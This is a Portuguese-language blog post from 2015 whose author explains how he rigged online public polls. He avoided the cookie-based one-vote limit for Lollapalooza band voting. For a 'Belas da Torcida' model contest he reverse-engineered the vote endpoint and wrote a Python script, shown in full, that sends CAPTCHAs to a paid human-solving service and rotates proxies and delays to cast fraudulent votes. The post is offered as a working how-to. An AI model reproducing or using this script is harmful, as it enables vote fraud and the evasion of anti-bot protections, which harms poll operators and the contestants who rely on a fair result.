sábado, 18 de julho de 2015

Burlando captcha para manipular votações públicas

De boas galera?
A uns dias atrás, antes do amoço eu achei um concurso e pensei: será que é possível manipular a votação e alterar o resultado final?

A uns meses atrás, eu de brincadeira fiz um robô para votar em bandas na Lollapalooza (http://www.t4f.com.br/app/lollapalooza/escolha-lollabr2016-1/) e selecionei umas bandas nada a ver com a escolha popular para ver se dá resultado.
Como foi essa história?
O site do Lolla guardava o cookie não deixando mais votar, permitindo apenas 1 único voto, então eu escrevi um script em python usando o requests que não guardava o cookie, assim eu consegui manipular os votos, infelizmente não tinha como saber quais eram as bandas mais votadas, mas se tiver natiruts ano que vem já saberemos :)

Enfim, voltando ao concurso.
Eu comecei a brincar com o robô antes do almoço, dei uma pequena pausa para comer e voltei a brincadeira, eu fiz o robô que realiza o voto na modelo indicada (identificada por um ID) em um json.

Vou tentar explicar como eu descobri os parâmetros certos e como realizei a votação, nessa altura do campeonato, provável que ela já esteja eleita, pois só vou liberar esse post após o final do sorteio, então, como estou escrevendo antes de terminar, não sei se ela realmente vai ganhar ainda, posto um EDIT depois dizendo se ela levou o premio ou não.

[EDIT] A mina não ganhou, o robô deu um "gás" na frente da outra mas eu tinha desligado o robô uns dias antes de finalizar, liguei no ultimo dia mas não deu pra fazer a mina ganhar :( [/EDIT]

Sem mais delongas, vamos ao que interessa.

O sorteio é da "Belas da Torcida", nele modelos competem para ver quem é a mais bela da torcida. Beleza, a votação em si, é feita através de um GET em um arquivo que retorna um JSON. Abrindo a pagina de votação:

Coloquei a tarja para preservar as modelos e para não receber processo pq sou pobre
Abrindo o "ferramentas de desenvolvedor" do chrome e fazendo a votação normal, conseguimos saber o endereço que ele realiza o get e como ele faz, como podemos ver na imagem abaixo:



Maravilha, olhem ali ao lado (img abaixo)


Podemos observar que temos 4 requests em paginas iniciando com "vote?jsonp=PollVote&format", essas são as pagina que ele realiza a consulta, as duas primeiras ele me retorna o seguinte json:

GET
http://enquete.xxx.com.br:443/vote?jsonp=PollVote&format=jsonp&id=48058&answers=IDMODELO

JSONP
PollVote(
)

Beleza, sei que naquele link acima se eu fizer um get ele me retornar um jsonp com os dados do ID e a imagem do CAPTCHA, agora vamos ver o que ele me traz quando eu consulto o outro GET, os dois ultimos que iniciam com "vote?jsonp=PollVote&format"

GET
http://enquete.xxx.com.br/vote?jsonp=PollVote&format=jsonp&id=48058&answers=IDMODELO&captcha-value=e3z4&captcha-id=nB9gd3ZLsJR-UlO.uDHxtwM6ipzCKAbfGkj28qWQINXrVFcm0TyaPehE4Y57oSv1ALnaixnhp2przWsTC6n0l6kmpg34O6wc-gd0-2dyOH4TlgucU2UaO2sTlxU=

Note que nesse link acima, já temos uns valores interessantes, vou marcar abaixo os interessantes em vermelho:
http://enquete.xxx.com.br/vote?jsonp=PollVote&format=jsonp&id=48058&answers=IDMODELO&captcha-value=e3z4&captcha-id=nB9gd3ZLsJR-UlO.uDHxtwM6ipzCKAbfGkj28qWQINXrVFcm0TyaPehE4Y57oSv1ALnaixnhp2przWsTC6n0l6kmpg34O6wc-gd0-2dyOH4TlgucU2UaO2sTlxU=

Certo, captcha-value contem o texto do captcha e o captcha-id contem o ID que vimos ali em cima no primeiro get que fizemos.

Agora vem a parte interessante, como faço para burlar esse captcha e manipular as votações com robôs de automatização?

Beleza, nada de OCR, IMAGEMAGIK e a caralhada toda pra complicar, vamos buscar algo mais simples e efetivo que não nos tome tempo. Conheçam o DEATH BY CAPTCHA, maravilhoso site que explora o trabalho de indianos na resolução dos nossos captchas de cada dia, o terror de sites como a Receita Federal, Sefaz e por ai vai hu3hu3hu3BR. O melhor de tudo, é MUITO barato, resolução de 5000 captcha sai em torno de 6.29 obamas, coisa chique.

Certo, como já tenho os dados que preciso, agora é hora de integrar o sistema de votação e no de quebra de captcha, fazendo eles trabalharem juntos :)

Usaremos o Python, mas da pra ser feito em varias outras linguagens.

import json,requests,base64,random
import time
from PIL import Image
from StringIO import StringIO
def proxy():
dic_proxy = []
with open('proxy.list','rb') as p_list:
for proxy in p_list.readlines():
if proxy:
dic_proxy.append(proxy.strip()[1:-1-1])
random.shuffle(dic_proxy)
return dic_proxy[0]
def get_json():
p_url = proxy()
user_agent = {'User-Agent': 'Mozilla/5.0 (Windows; U; Windows NT 5.1; hu-HU; rv:1.7.8) Gecko/20050511 Firefox/1.0.4'}
url_json = "http://enquete.uol.com.br:443/vote?jsonp=PollVote&format=jsonp&id=48058&answers=IDMODELO"
req_json = requests.get(url_json,headers=user_agent,proxies=p_url ,timeout=5)
json_enquete = req_json.text.encode('utf-8')
json_enquete = json_enquete.replace('PollVote(','').replace(')','')
json_enquete = json.loads(json_enquete)
url_image = json_enquete['captcha']['image']
url_image = url_image.encode('utf-8')
id_captcha = json_enquete['captcha']['id']
id_captcha = id_captcha.encode('utf-8')
print req_json.text
return (url_image,id_captcha)
def save_img(url_image):
img = requests.get(url_image, stream=True)
i = Image.open(StringIO(img.content))
i.save("captchaZIKA.jpg")
def verf_captcha(texto_id):
valid = 1
while valid == 1:
url_zika = "http://api.dbcapi.me/api/captcha/%s" % texto_id
get_solved = requests.get(url_zika,timeout=5)
texto_solved = get_solved.text
texto_solved = texto_solved.encode('utf-8').split('&')[2].split('=')[1]
if len(texto_solved) > 0:
return texto_solved
else:
pass
def resolv_captcha():
data = {"username":"USUARIO-DEATHBYCAPTHCA","password":"SENHA"}
arq = {"captchafile":open("captchaZIKA.jpg","rb")}
req_captcha = requests.post("http://api.dbcapi.me/api/captcha", files=arq, data=data,timeout=5)
texto_id = req_captcha.text
texto_id = texto_id.encode('utf-8').split('&')[1].split('=')[1]
texto_solved = verf_captcha(texto_id)
return texto_solved
def vota_nessa_mina():
p_url = proxy()
url_image,id_captcha = get_json()
save_img(url_image)
texto_solved = resolv_captcha()
user_agent = {'User-Agent': 'Mozilla/5.0 (Windows; U; Windows NT 5.1; hu-HU; rv:1.7.8) Gecko/20050511 Firefox/1.0.4'}
url_voto = "http://enquete.uol.com.br:443/vote?jsonp=PollVote&format=jsonp&id=48058&answers=IDMODELO&captcha-value=%s&captcha-id=%s" % (texto_solved,id_captcha)
req_voto = requests.get(url_voto,headers=user_agent,proxies=p_url,timeout=5)
print req_voto.text
times = [5,10,3,15]
for i in range(1,2):
try:
random.shuffle(times)
time.sleep(times[0])
vota_nessa_mina()
except:
print "Deu bosta"
pass